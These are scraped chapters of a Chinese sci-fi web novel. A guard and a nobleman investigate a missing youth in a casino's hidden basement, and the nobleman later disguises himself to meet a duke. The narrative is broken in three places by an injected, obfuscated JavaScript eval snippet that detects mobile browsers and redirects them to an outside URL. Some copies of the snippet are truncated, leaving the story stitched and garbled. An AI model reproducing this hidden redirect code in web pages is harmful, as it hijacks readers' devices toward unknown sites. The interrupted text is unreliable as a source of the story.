在伊蒙的了解中,兰德尔向来是个谋定而后动的人,自他十七岁掌权至今,其实也经历过数次劣势极大的危局,甚至有时候看起来他都已经必败无疑,对手已经在准备开香槟庆祝了,但从年少继任的多方掣肘到如今的大权独握,结果已经证明,那往往只是一种示敌以弱以退为进的策略。 十年前塞勒斯家族内部各反对势力林立的乱局,对比眼下的砾石星,其实有过之而无不及,伊蒙觉得公爵阁下既然决定收复砾石星,就一定预料到了眼下的乱状,并且也必然留有应对的后手,只是以伊蒙的级别,尚不够格知晓罢了。 他没有再多谈砾石星政局上的事,好在白启也并不是真的很关心,走了一通例行假关心的流程后,三两下解决完早饭,白启就迫不及待地带着司机伊蒙,开着昨天那辆红色超跑,再次招摇地出门挥霍去了。 虽然接连发生了两起星盗袭击事件,相关话题在星网上的热度居高不下,但网络上的影响尚未蔓延到民众的实际生活中,街上往来的还是按部就班工作上学的车流和行人。 但第二起客运星舰遇袭事件注定不是结束,或者说,港□□炸案是给兰德尔的下马威的话,那么第二起遇袭事件恰是正式宣战的开始。 第三次袭击事件很快发生,这一回间隔只有十五个小时,而后是第四起,第五起…… 星盗选择的目标不局限于客运星舰,装载货物的商舰同样在列,他们的目的也不是要劫掠多少的财物或是造成多大的伤亡,一切都如最开始两起袭击案一般,星盗们一打即退,无论得手不得手,他们都绝不跟塞勒斯的舰队正面交锋。 即便一直没有造成严重的伤亡,但不断增加的袭击次数和愈加频繁的袭扰间隔,都在日益加剧着民众间的焦虑和恐慌情绪,而这些无处排解的情绪被藏于人群中的有心人稍一引导,就发展成星网上愈加沸反的声讨。 为什么维纶家族驻守砾石星时星盗不敢如此猖獗? 为什么塞勒斯面对星盗的频繁袭扰拿不出任何行之有效的应对措施?他们凭何保卫砾石星民众的安全? 塞勒斯无能! 在砾石星易主的第七天夜间,民用港口的修缮进度尚未过半,被暂时划归用以替代的军港再次被炸,蘑菇状带着巨量硝烟的火光点燃了夜色,也彻底点爆了某种积压多时的情绪。 砾石星易主的第八天,街面上爆发大规模的抗议游行,同一日,维纶正式向议会递交申请,要求重新审议砾石星的归属权。 砾石星的局势正以远超正常的速度飞快滑落向对塞勒斯不利的一侧,塞勒斯的大小官员这段时间也是忙得脚不沾地,兰德尔同样,那间总督府专门为他准备的规格最为顶级的休息用卧房,八日间他一次都没去过。 但这些都跟白启没什么关系,除了每天假模假样地跟伊蒙关心两句,拿到了出行许可后,他甚至都懒得再亲自到兰德尔面前演上一出,每天一醒就带着伊蒙出门,花钱花累了再回来,彷佛他来到砾石星只有三个目的,挥霍,挥霍,还是挥霍。 外面愈加混乱的局势也半点影响不到他,硬要说他有什么担忧的,就是大手大脚地挥霍了几天后,他终于慢了好几拍地开始担心:“这张卡的限额是多少?刷爆了有提示吗?不会我付钱的时候突然付不了了吧?” 兰德尔答应会给他一笔钱后,并不是直接打钱到了账户余额,而是给了他一张可以绑定在白启账户的信用卡,但是这张信用卡的户主显然不是白启,因而他也根本看不了卡内的剩余额度。 听完了白启获得这张卡的始末,伊蒙推测说:“依照我对贵族家族内部事务的了解,这笔钱如果走公账的话,流程会很麻烦,也不会那么快,很大可能,阁下给您的是他自己私人账户的副卡。” “所以我这些天花的都是兰德尔的钱?”白启说。 虽然整个塞勒斯家族的资产都属于兰德尔,但公账和私人账户的意义还是截然不同的,严格来说,只有私人账户中的资金才是真正归属于兰德尔个人,而非其指代的家族。 “大概率如此。”伊蒙说,“我也不知道阁下的账户额度是多少,但我想,应该在百亿以上。” 这个数字伊蒙其实是往保守了报的,因为他也觉得白启这些天挥霍得有些太过了,即便是一百亿,照这个花法也未必能撑过半年,他有心想让白启稍微节制一下。 然而,白启听到这番话后,却是花得更加安心了,花公账他还要考虑一下,万一给塞勒斯的军费花的填不上了,又或者政府雇员的工资发不出了,那就不太妙了,但是兰德尔的私人账户还怕什么?随便造就是了。 混乱的局势影响是方方面面的,学校陆续停课,很多原本繁华的商业街也闭门歇业,在第八日爆发游行时,几乎已经找不到正常营业的场所了,但是没关系,白启依然有去处。 赌徒就是这样一种生物,即便下一刻要世界末日了,这一刻也要在赌桌上盯着盘面下最后一波注,常规的商业场所都已闭门歇业的此刻,砾石星中心城区的这家金辉娱乐丨城依然如火如荼地营业着。 白启是在四天前发现的这个好去处,而后这里就成了他每天必来的打卡地,本身他的人设就是一个赌徒,他会沉迷于赌博简直半点不奇怪。 伊蒙其实还为此担心了一阵,奢侈品再贵,也总有个上限,但赌桌上的筹码累加起来,却是能在一局间让人倾家荡产的。 当然,就算白启真的把兰德尔的家当全输了,赢家也没有去取的能耐,但是作为护卫同时也是看守的伊蒙势必不好交代。 伊蒙都在心里盘算着如果赌的太大,他是向公爵阁下汇报还是自己直接强行阻止了,然而他担心的事完全没有发生,白启每天来就是在码房兑换一千万的筹码,也不去下注额度更高的贵宾室,他只在一楼中庭的散客大区晃悠。 同时他也完全没有寻常赌徒那种沉迷上头的样子,一千万的筹码,输光了他就走人,半点不留恋,如果没输光,那么到夜间十点后,在伊蒙不宜太晚回去的劝阻下,他也会准时离场,哪怕那时候他正在连续赢。 赌博对他而言似乎仅仅是一个可有可无的游戏,即便参与,也从不沉迷。 因而伊蒙也不反对白启来赌场了,白启来赌场玩时的花费远小于他去逛那些奢侈品店,输光了顶天也就一千万,更遑论以白启的赌术而言,他其实赢的时候居多。 这天从总督府出门后,白启先让伊蒙带着自己到街上转了一圈,见实在找不到什么可以购物消费的奢侈品店铺,才让伊蒙开到那家金辉娱乐丨城去。 路途中,因为游行的人群占据了主路,伊蒙不得已绕了另一条小路,这也导致他们这回没有直接抵达娱乐丨城的大门,而是先经过了后侧的小门。 也因此,他们恰巧目睹了眼前这一幕。 几名穿着娱乐丨城保安制服的高大男人站在小门口,其中个头最高身材也最为壮硕的男人手中拎着一名瘦弱矮小的女人,女人头发上掺着白丝,看起来年龄不小,而男人硕大的拳头挥起,似乎下一刻就要狠狠揍在女人的脸上了,但因为晃眼又招摇的红色超跑正好从旁边经过,他硬生生又停下了。 “你们在做什么?”伊蒙将车临时停在了路边,看向几人。 白启这些天在赌场也算是混成熟客了,保安们基本都眼熟他,更眼熟他那辆开到哪儿都醒目的限量款红色超跑,因而凶狠的脸孔立刻一收,转换成对待客人的和颜悦色。 “没什么,这个人是个贼,混到赌场里偷钱,我们给她点教训。”保安队长将女人放下,上前半步,将其挡在身后,又向车上的伊蒙和白启赔笑。 “偷窃应该交由本地警署审理,你们无权自行给予任何人‘教训’。”伊蒙直接从车上走了下来,礼貌也严肃道,“请放开这位女士。” 论个头,他的身材并不如这些保安高壮,但在军队中历练出来的人自有一股令行禁止的强硬气势,更遑论他同时还是一名贵族和高等精神力者,只是伊蒙平素的礼貌和谦和掩饰了这点,此刻完全显露时,一群人高马大的保安却是不自觉开始犯怵。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16423059|184810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们互相对视片刻,最终,保安队长凶神恶煞地警告了一句:“下不为例,别让我再在赌场见到你!” 身后的另一名保安这才终于放开对女人的钳制,将其推搡得一个踉跄,而后又跟着队长一起对白启和伊蒙一阵点头哈腰的赔笑。 伊蒙见女人也没有实质性的受伤,便摆摆手,重新回到车上。 “抱歉,殿下,耽搁了一会儿。” “没事。”白启打了个哈欠,没有追究伊蒙擅作主张停下的事。 车辆再次启动,从这里去停车场还要绕一大圈,但是走人行的小路的话,却是一条短短的直线,因而伊蒙终于将车开到停车场时,竟是又一次遇见了那个女人。 她是突然冲到路中间的,也就是伊蒙此刻准备停车速度慢,以及反应迅速,才及时刹停。 饶是如此,女人不知是被车辆急刹的声音吓到了,还是本身身体不好,踉跄了一下倒在车前。 换上旁人遇到这事,第一反应八成是觉得对方是要碰瓷,随即就是骂骂咧咧地下车,质问对方往路中间乱冲是不是找死,但伊蒙依然是很好脾气地下去将女人扶起,关切道:“受伤了吗?” 女人像是被吓蒙了,怔怔地看着伊蒙,没说话。 伊蒙自己大致检查了下,见对方没有外伤,便严肃起神态,认真告诫道:“请不要再这样了,这种行为非常危险……” 他还在说话,女人突然抓住他的手臂,她太瘦了,伶仃得像是只有一把骨头,但那双枯木似的手指紧抓住伊蒙时,竟是有一种不容忽视的力量。 “我、我没有偷东西……”女人嘴唇哆嗦着,声音很轻,眼睛却亮得慑人,犹如濒死之人抓住了一根稻草。 “我没有偷……” 她轻声重复着,伊蒙还在怔然,本已经被他扶起的女人冷不丁地跪倒,瘦弱的身体蜷曲着,背脊上的骨头嶙峋地凸起。 “帮帮我……”她死死抓住伊蒙的裤角,发出哀泣的悲音,“求您……” 二十分钟后。 娱乐丨城不远处一家尚在营业的咖啡厅内,伊蒙终于从心情慢慢平复下来的女人口中知道了一些前因后果。 “你是说,你去赌场是想找你的儿子,他在一个月前失踪了?”伊蒙总结道。 “对,他叫艾伦,才16岁。”女人殷切地拿出一张纸质照片,上面是她与一名少年的合影,少年的脸上长着细小的雀斑,有着跟女人一样的褐色眼睛褐色头发,两人面对镜头笑着,看起来就像姐弟两一样。 伊蒙看到这张照片时才意识到女人的年龄可能没有他原先预想的那样大,头发上的白丝和脸色上的憔悴大约是这一个月的寻子所致。 “女士,请问该如何称呼?”伊蒙说。 “玛莎。”女人忙道,“我叫玛莎·罗杰斯,我儿子是艾伦·罗杰斯。” “玛莎女士,请问你报警了吗?这种失踪案,尤其是未成年人失踪案,警方应该会非常重视才对。” 伊蒙正想询问警方调查的结果,玛莎却突然打断:“没用的!” 她刚刚才平复下来的情绪又变得有些激动,手指都在抖,恰好,白启看似随意地递了杯咖啡来,她下意识地接住,这些微的停顿打断了她即将爆发的情绪,而白启顺口说的那句“咖啡好了,你们不喝吗?”又让她的注意力从话题中转移。 咖啡中过量的奶浆和糖球在此刻起到了很好的安定效果,玛莎喝完一口后情绪平稳了许多,在伊蒙询问“为什么”时,她得以以较为平缓的态度叙述此事。 “我报过警,但是没用的,不止是我,过去所有失踪案都是,那些警察只会做记录,他们从来没有找回任何一个失踪者!” “这里失踪案很多吗?”伊蒙心中一动。 “多!”玛莎说,“您去看看那些寻人的启示,贴的到处都是!” 伊蒙沉吟着,没有完全采信这个说法,即便是治安良好的阿尔法星,每年的失踪案新增率也有0.1%到0.3%左右,以这个参数比照砾石星光是城区就几百万的人口的话,那每年的失踪者大约也有数百人,对于不关注这些事的人来说这点人数可能根本注意不到,但是对于玛莎这样每天都在关注这些信息的失踪者家属,这个数量自然是很多了。 “警方怎么说?他们没有帮你查阅街道上的监控吗?” 砾石星作为磐岩矿区的枢纽星,商贸发达,即便等级不比作为第四星区首府的阿尔法星,也绝对算位属前列的了,相应的,各种监控安保设施肯定也是应有尽有的,不像白启之前所在的偏远编号星,连户籍管理都相当混乱,甚至很难弄清楚有没有丢人,丢了多少人。 “没有!他们就只会做记录然后让我回家等!我那样哀求他们,恳请他们帮我查查监控,哪怕把监控给我,让我自己一个个看,他们都不肯!甚至还说我的行为是妨碍公务,再去警局闹事就要抓捕我!我做错了什么?我只是想找回我的孩子!”玛莎的情绪又有些激动,但她这回自己控制住了,抹去眼角的水渍,做了个深呼吸后说,“抱歉,我去趟卫生间。” 玛莎走后,伊蒙坐在位置上,皱着眉头:“如果是这样的话,那么砾石星警方是严重的渎职。” 白启撑着下颌坐在一旁,从方才开始就在漫不经心地玩着手里一枚之前在金辉娱乐丨城赢来的纯金纪念筹码,此刻听到伊蒙这么说,他没忍住笑了出来:“这算渎职吗?可他们一直如此啊。” “当然!”伊蒙相当不理解,“警察的职责就该是维护社会治安,保障公民权益,哪怕此案在调查上有些客观的困难,他们也绝不该对一名失踪者家属采用这种态度。” “因为她是个D级的平民啊,你说的那些都是对C级的体面人或者更上的贵族的,这种毫无价值的D级平民多一个少一个,失踪或是不失踪,有什么要紧的呢?”白启口吻平淡得像是说着某种既定也普遍的现实,他将那枚纯金筹码抛起又接住,突然又笑道,“真好啊,我也是贵族了。” 他满脸真切的庆幸,但墨镜遮掩后的金褐色眸子中,偏偏又没有半点笑意。 11.地下暗门 伊蒙沉默片刻,突然说:“但阿尔法星不是这样,公爵阁下治下的星球,都不是这样。” “喔,那他比较英明吧。”白启不在意道。 说话间,去卫生间整理完毕的玛莎重新回到座位上,两人便也没再继续之前的话题。 “玛莎女士。”伊蒙重新开始发问,“警方没有给你提供任何帮助的话,那为何你先前说你在那家金辉娱乐丨城寻找你的儿子艾伦,你通过什么途径得到了什么线索吗?” “有人看到了!”玛莎说,“我不能说他是谁,他不想惹事,我也承诺过绝不向任何人透露他的名字,但他确实看到了!” “在2月1号,周六晚上八点,艾伦他最后一次与我通话,说是找到了一份高薪的临时兼职,晚上要晚点回去,后来我从他的同学口中得知他所说的兼职是在金辉娱乐丨城当服务生,我于是一路找过来,但是他们竟然说我儿子从来没有来过这里,他们也从来没有招过什么临时兼职。” “我不相信,数次来此寻找,终于有一名好心的服务生偷偷告诉我他确实见过我儿子,就在那个周六的晚上,将近九点的时候,他看到艾伦被人领着去了娱乐丨城的地下层,于是我就乔装成赌客想要去地下层寻找,结果就是你们看到的,他们抓住我后想以武力威胁我不要再查下去,扬言再来就弄死我!被你们撞破阻止后,又在你们面前污蔑我是小偷!” “最后一个问题,玛莎女士。”伊蒙说,“你平常跟你儿子的关系怎么样?” 他这个问题问得相当委婉,事实上他想问的是艾伦有没有非意外失踪的可能,在阿尔法星每年0.1%到0.3%的失踪案件中,其实有相当一部分是非意外走失,可能是跟家人闹脾气离家出走,又或者干脆就是在外面玩忘了时间,警方还没开始调查,人就自己回去了。 “艾伦的父亲早年因车祸意外离世,剩下我们母子两相依为命,我身体不好,精神力等级也只有D,只能做点零工勉强糊口,艾伦非常懂事,小时候就会帮我做些杂活,还时不时说等他长大了就带我过好日子,让我不用再这样辛苦,其实这些话我也没放在心上,您知道的,我们这样的底层,活着就不容易了,能过上什么好日子?” “但艾伦一直很努力,学习,帮工,12岁那年,他竟然测出了B级的精神力,在我们这样的家庭,真的像奇迹一样,随着他慢慢长大,他也可以去外面做些兼职的零工了,我们家的日子真的好过了起来,15岁的时候有个做机甲格斗比赛的俱乐部看中他的天赋,想招他去培训参赛,但他没有去,您知道是为什么吗?不是怕辛苦,是因为去的话就要封闭集训,几年都回不来,他不放心我。”玛莎听出了伊蒙的言下之意,她一字一顿道,“艾伦绝不会不告而别,更不会离家出走。” “我明白了。”伊蒙郑重道,“玛莎女士,失陪一会儿,我们去外面沟通一下,请你在此稍待。” 他带着白启走到咖啡馆的门口,白启说:“你想管?” 在伊蒙点头后,他又说:“怎么管?砾石星现在这么乱,无论是本地警方,还是我们的公爵阁下,此刻恐怕都没有功夫管这么一桩失踪的小案子吧?” “是的,所以我想亲自去娱乐丨城的地下层看看。”伊蒙说,“如果玛莎所说的都是真的,那么这家娱乐丨城可能涉及一些非法的产业,我想只要去看了,多少就能获得一些蛛丝马迹。” “你还想亲自去?”白启挑着眉头,摆出一副好言相劝的态度,“少校,你没在底层生活过,大概不知道,这种事其实挺普遍的,普遍到根本没有人会在意,你看砾石星的警方就完全不在意,个把人的失踪可能是倒霉卷进了什么帮派斗殴,又或者干脆就自己参与其中,就算那个玛莎没有撒谎,但她凭什么就能保证她对她的儿子就那样了解呢?” “我知道,但我还是想去看看。”伊蒙认真道。 “好吧。”白启耸耸肩,无所谓道,“那你去吧,待会儿我还是在一楼的散客大区玩,你忙完了喊我就行。” “不行的殿下。”伊蒙说,“我的职责是保护您,在外面的时候,我必须对您寸步不离,所以……” “所以我还得跟着你去?!”白启满脸不敢置信,以及夸张到几乎要满溢出来的不情愿。 “抱歉,殿下,这个请求确实很冒昧,但……”伊蒙的目光穿过咖啡馆临街的落地窗,落在玛莎矮小瘦弱,已经如此疲惫却还是顽强挺起的母亲背脊上。 最终,白启同意了,以看在伊蒙这段时间对他的照顾说辞,虽然他口头上仍然是极度不情愿的,但行动上,他倒是表现得相当配合。 伊蒙到咖啡馆告知玛莎先回去等待,他们若是有发现会与她联系,同时将自己的联系方式留给了对方。 随后,他如原计划那样,开着那辆红色超跑载着白启来到金辉娱乐丨城的正门,两人如往常那般进场,在码房兑换一千万的筹码,又来到一楼中庭的散客区四处晃悠。 娱乐丨城地面上一共有九层,一到五层都是面向顾客的娱乐区,包含散客台,贵宾区,以及一些饮食洗浴场所,更上面的四层则是酒店客房,跟贵宾区一样,都只向贵宾开放。 以白启每天的消费额度,早达到贵宾的等级了,但他从不去贵宾区玩,也因为每晚要回总督府而从不留宿,是以这么些天,他从来没上到过二楼,不过伊蒙还是对娱乐丨城的建筑结构有大致的了解,作为军人,每到达一个陌生的地方,先弄清楚此地的结构和各大出入口是他的习惯。 同样的,他也关注过娱乐丨城的安保,知道娱乐丨城各区域的安保部署,以及大致的换班时间,因此,这次他没费什么功夫,就寻到了一个安保轮岗的空隙。 “庄家6点,闲家9点,闲赢。” 正凑在一张□□牌桌边旁观的白启感觉肩膀被轻轻拍了下,便配合地从人群中退出,装作上厕所的样子,跟伊蒙一起走向一楼大厅的边缘。 不过,此刻是安保轮岗的空隙,场中却还有许多的服务人员,两人要去的那道通往地下层的闸门附近恰好就有一名服务生在,伊蒙正在想着用什么办法支开对方,就见白启已经十分自然地走过去,随口吩咐说:“一杯玛格丽特,加三块冰,送到B12桌,等我上完厕所回来喝。” 不知道是天生心理素质好,还是曾经的生活所需,白启的谎话简直是张口就来,即便是已经跟他朝夕相处了半个多月的伊蒙,若非清楚地知道他们是要去做什么,也完全分不清白启此刻是在撒谎。 服务生自然更加没有怀疑,很恭敬地应下,便离开前去准备酒水。 白启和伊蒙得以顺利地到达闸门处,闸门关闭着,却没有上锁,借着闸门前承重廊柱的遮掩,伊蒙简单操作了两下,便打开了一道容一人通过的门缝,他和白启悄无声息地进入其中,没有引起任何人的注意。 “地下层是做什么的?” 走在通往地下的楼梯上,白启小声问伊蒙。 “从对外公布的建筑图纸来看,这里应该是存放服务器组和一些供电消防设备。”伊蒙同样小声回应。 一家娱乐丨城能用到的服务器组无非是存储一些顾客信息以及管理建筑中各项智能设备,虽然不对外开放,安保却也没有那样严密。 跟富丽堂皇,24小时都明亮得宛如白昼的地上层不同,地下的空间是昏暗的,低瓦数的白炽灯在过道发出惨白的光亮,闪烁幽蓝光芒的巨大服务器组在黑暗中矗立着,交错的电缆相互连接,犹如巨兽的血管,发出低沉又巨大的嗡鸣。 伊蒙在手腕的终端上摆弄了一下,便成功黑进了头顶的监控设备,设置好重复播放的画面后,他示意白启继续跟着自己。 “你的终端什么型号的?还有这种功能,好高级啊。”白启一脸好奇。 “就是普通的军用型号,只是绑定了我的机甲核心,所以功能比一般的多些。”伊蒙简短解释。 “就是你上次说的那种可以变形拟态的?跟阿加雷斯一样?” “差不多,但我的捷克只有A级,各方面的能力都比不上阿加雷斯。” “喔,说起来,伊蒙你的精神力是A级?” 在伊蒙点头后,白启又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“你说,如果那个玛莎说的是真的,她得到的情报也是真的,赌场的人把一个16岁的少年弄到这种地方是做什么呢?修服务器吗?”白启讲了个冷笑话。 伊蒙没有笑,他皱着眉头,也在思索这个问题,地下的空间跟地上是对应的,走了这么一会儿,他们大致也把地下层的结构看清楚了,这里没有任何藏人的密室,那么玛莎的说法就很存疑了。 他不觉得玛莎在撒谎,但对方得到的信息却未必准确,其实走到这里,他们也差不多可以回去了,但想到玛莎恳求的眼神,伊蒙还是决定走到最后。 也正因为他这个决定,让他意外发现在服务器机组的末端,一面看似与其他地方没有差别的墙壁前,有一道可疑的痕迹。 “这脚印怎么只有一半?”白启也注意到了,他站在蹲下身仔细观察的伊蒙旁边,抬头打量着。 他们来的路上也看到过一些脚印,约莫是在地下层做检修工作的工作人员所留,但眼前这枚脚印却尤为奇怪,只有后半截,前半截被墙壁截断,若非有人故意用只有半截的鞋子恶作剧,那么眼前的情景简直就像是有人穿过这面墙凭空消失了一样。 “也或许,这里有一道暗门……”伊蒙轻声自语着,突然站起,只见他对着终端摆弄一阵,两人前方的墙壁便向两侧打开,露出一道黑洞洞的向下的楼梯。 “这地下还有第二层?”白头探头张望着。 “在对外公布的建筑结构中,这里只有地下一层。”伊蒙眉头紧锁,再次提醒白启跟紧自己后,两人缓缓向下。 走了约有五六米后,两人前方出现了第三道闸门,第一道闸门压根没有上锁,而第二道暗门虽然隐蔽,但破解尚不算困难,而这第三道闸门,伊蒙却足足破解了五分钟。 虽然最终成功将门打开,但白启要继续往里走时,伊蒙却突然伸手将他拦住了,白启面露不解时,伊蒙示意他抬头往上看。 白启抬起头,就见到布设于通道上方的几架自动机枪,这些机枪都带有识别设备,显而易见,若是无法通过验证的话,会在顷刻间被打成一团血雾。 “那么大阵仗?一个赌场,不至于吧?”白启夸张道。 伊蒙没说话,但也默认了白启的说法,这个赌场的安防等级已然高得有些不正常。 “捷克,对整个地下做全面扫描。”伊蒙刚刚对自己的机甲核心下了指令,还在等着回传建模数据,突然一阵刺耳的警报响起。 伊蒙面色一变,立刻想要带着白启后撤,但在警报响起的那一刻,他们来时打开的那道暗门就已然落下锁死。 12.约会 “殿下,请退后一些。” 伊蒙话音刚落,右手已经按上了闭合的门板,橙红的焰光在他掌心迸发,温度在极短时间内急速飙升,金属门板上与指尖相触的部分竟是出现融化的凹陷,内部本该锁死的电子门禁系统也在高温灼烧下出现瘫痪性的失灵。 伊蒙左右手一起使力,在不借助任何器械的情况下,仅靠特性能力的加持,他竟是徒手拉开了这重愈数百斤的金属门板。 “殿下,跟紧我!” 伊蒙带着白启飞速赶往他们来此通过的第一道闸门,想要由此回到地面上,但终归是慢了一步,在他们到达那道闸门前,数十名荷枪实弹的警卫已经守在那里,且仍有增援在不断赶来。 单论眼前的武装力量,伊蒙的机甲本体即便不在身边,也可以靠着他A级的精神力和配套的机甲核心带着白启杀出去,但这家金辉娱乐丨城各方各面都说明它并不像表面上那样简单,对方的武装配置也绝不仅是如此,谨慎起见,伊蒙没有带着白启冒险。 对方显然也是有谈判的意思的,不然见到他们的第一时刻就该开枪了,伊蒙将白启护在身后,警惕地与守卫对峙片刻,就有一名头目样的男人走来。 “这是做什么?”男人一身名贵的西装,中等年纪,身材有些发福,微胖的脸颊显得很和气,眼中转动的精光又显出几分商人的精明。 他弹了弹雪茄,露出手指上硕大的纯金戒指,以及手腕上的翡翠镶钻腕表,两者和他身上其他非金即钻的饰物一样,没有任何搭配的美感,只像个什么贵把什么往上摆的土味展示架。 展示架先生此刻向下属责怪道:“蠢东西,知道这两位贵客是谁吗?还不把枪放下!” 下属齐刷刷放下枪后,他又转头对白启和伊蒙笑道:“幸会,泽维尔新找回的皇子殿下,以及科林斯家的伊蒙阁下。” 他一语道破了两人的身份,这已经在相当程度上表明,他此刻并没有敌意,否则再行动手的话,无异于直接向皇室宣战。 自方才起就怂怂地缩在伊蒙身后的白启终于探出了些许脑袋,而伊蒙也收起了自己外放的精神力,但他仍未完全放下戒备,礼貌又警惕道:“你是金辉娱乐丨城的老板,鲍勃·布莱恩?” 这是金辉娱乐丨城官方注册资料上的信息,但这位鲍勃·布莱恩非常低调,是以伊蒙并未能在星网上查到他的照片。 “正是鄙人。”鲍勃哈哈笑道。 “两位贵客愿意光临我们金辉娱乐丨城,真是荣幸之至,只是娱乐丨城的地下层是不对外开放的,不知道二位怎么会跑到这里呢?” 伊蒙自然不会老实交代,他道:“我与殿下寻找洗手间时不小心走错了路,无意间来到这里。” “不错,你们这地方这么大,连个指示牌都没有,走错路不是很正常?”白启依然很怂地躲在伊蒙身后,但这不妨碍他出声附和。 “是我们招待不周,实在抱歉,这样,殿下这几日的消费全部由我买单,权当赔罪如何?”鲍勃笑眯眯的,半点没提伊蒙和白启连闯了三道门禁的事,显然是想大事化了。 “不必。”伊蒙却并不买账,“殿下的消费由公爵阁下负责,不需要任何旁人买单,只是我和殿下既然已经恰巧来到了这里,此刻也有一个问题想请教鲍勃先生。” 在鲍勃示意“请说”后,伊蒙道:“为何这栋建筑对外的图纸只显示有地下一层,实际上却有更深的二层?以及为何这里的安保如此严密?我想对于一家娱乐丨城的机房而言,这个防卫等级有些过头了吧?” “二位都是身份尊贵的人,我就不瞒着你们了。”鲍勃一副和盘托出的语气,“这里确实有更深的二层,对外图纸上为什么只显示一层,那自然是我刻意为之的,您知道的,砾石星一直不太平,无论是现在塞勒斯的治下,还是先前的维纶,都时不时有星盗出没,地下二层是我的秘密金库,我大半身家都存在里面,当然是怎么小心都不为过的。” 这个说法倒是合情合理,伊蒙道:“既然如此,那我和殿下能否参观一下?” “这……”鲍勃为难道,“实在抱歉,我并非不信任二位,只是里面并非只有我的财产,还有我公司一些股东的,实在不宜对外人开放。” 这个回答伊蒙倒也猜到了,他没有多做纠缠,只理解地点点头:“是我冒昧了。” “无意闯入,给鲍勃先生平添了一些麻烦,还请见谅,我和殿下就不在此多做打扰了。”伊蒙想要带着白启离开。 “这就走了吗?我看殿下还挺喜欢在这里玩的,现在时间还早,不如去楼上开个包厢,我亲自陪殿下玩上几局?”鲍勃表现得很热情。 “不必了。”伊蒙再三谢绝,礼貌也强硬地带着白启离开。 一直到坐到红色超跑的驾驶位上,又往外开出去几公里,伊蒙才算是真正放松下来。 “现在怎么办?”白启坐在副驾上说,“你信他的说辞吗?” 伊蒙寻了个路边的停车位将车停下,他摇摇头:“这家娱乐丨城很有问题,下面绝对不是金库那么简单。” “所以你还要回去查?” “不,已经打草惊蛇,不宜再贸然回去了,我想要从其他途径调查一些信息,然后将此地的疑点汇总报告给阁下……”伊蒙思索着,手指无意识地敲着操控台,突然又想到什么,转头看向白启。 他眼下的职责其实是白启的护卫,一切都是跟着白启走的,拖着白启去地下层调查就已经很不该,再让白启跟着他继续去枯燥地调查,伊蒙自己都说不下去了。 不过白启虽然花钱大手大脚了些,倒是一向挺好说话的,此刻看出伊蒙的意思,主动道:“算了,你送我回去吧,反正街上那么乱,也没什么玩的了,正好我昨晚没睡好,回去补补觉去。” 他同时打了个哈欠。 “殿下,谢谢。” 伊蒙开车将白启送回总督府,又一路将其送回房间,与门口轮岗的守卫交接完成后,他才算正式卸下了护卫的工作,可以有一些自己的私人活动时间。 伊蒙去做了什么,白启不知道,反正他是真的如他所说的那样,整个下午都在房间补觉。 他这样的闲人,本该睡上多久都没人打扰,但六点刚到,王尔德就把他摇醒了,矜矜业业地提示说:“距离约定好的赴约时间,还有一个小时,里奥,你该开始准备了。” “知道了知道了。”白启用枕头捂着脑袋,嘴上这样说着,身体却一动不动。 王尔德直接跳到他身旁,用耗资三十万改装的毛茸茸爪子踩他:“你没有忘记今晚的约会对象和目的,对吗?” “当然!”白启把脑袋上的枕头揭开,起身的动作同时将踩在他身上的王尔德掀翻,狡黠弯起的眉眼中不见半分困意。 “我可是对这场约会期待已久呢。” 哼着愉快的小调,白启起床到卫生间梳洗打扮,只是他所谓的打扮跟正常人理解的描眉画眼相差甚远,先是从天花板的隔层中拖出一口隐秘的黑箱,而后将身上的奢侈品名牌礼服全部脱下,换上黑箱中的战术绑带,匕首,枪械,微型炸弹,再配以平凡到根本查不出来源的白色衬衫和宽松的黑色风衣,将他这一身的危险物品完美遮掩。 最后,也是这场变装最为重要的部分,他拿出黑箱底部的那张仿生人皮面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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“他会来的。”白启相当自信,他接过服务生递来的果酒,礼貌地笑了笑,虽然是平凡无奇的五官,平价普通的衣着,但他劲瘦结实、修长完美的身材比例硬是将这普通的风衣穿出了高奢品牌的高级感,敞开的领口隐约可见性感的肌肉线条,慵懒靠在吧台上的动作更是有一股别样的风流恣意味道。 婉拒了凑过来搭讪的酒客,白启在脑域中继续道:“维纶今日已经向议会递交了对砾石星归属权的重新审议,塞勒斯急需一场强有力的胜利来压制沸腾的民意,我在今日以帝国最大地下情报商灰鼠的名义向他发出邀请,他一定会赴约。” “但灰鼠常年盘踞于灰环星域,即便你邀请信函上的身份印信是真的,灰鼠突然出现于砾石星这件事本身就相当可疑,如此多事之秋,他未必会亲自前往。”王尔德客观分析着各种可能。 “那就拭目以待吧。”白启又谢绝了几个向他搭讪的男女,时间慢慢来到6点53分。 黑进酒吧监控的王尔德突然说:“目标出现在酒吧门口,刚刚下车,随行有两名警卫。” “你看。”白启弯起眉眼。 王尔德持续监控着目标通过酒吧入口的门禁,不断缩减与他们的距离,他同时对白启道:“但你只是假冒了灰鼠的名头,你打算如何与他见面?” “这还不简单?见面第一步,先打个招呼。”白启像是说着把大象装进冰箱一样轻松,他同时抬头,对着刚从过道走进大厅的兰德尔吹了声流氓口哨,遥遥举杯说,“小美人,来嘴一个。” 对此,兰德尔连眼神都未曾偏转一下,大概是觉得在这种人身上多给一个眼神都是浪费。 但他是日理万机的大人物,没有闲暇去亲自处理一名冒犯他的流氓,却不代表他的尊严可以这样容人随意欺辱。 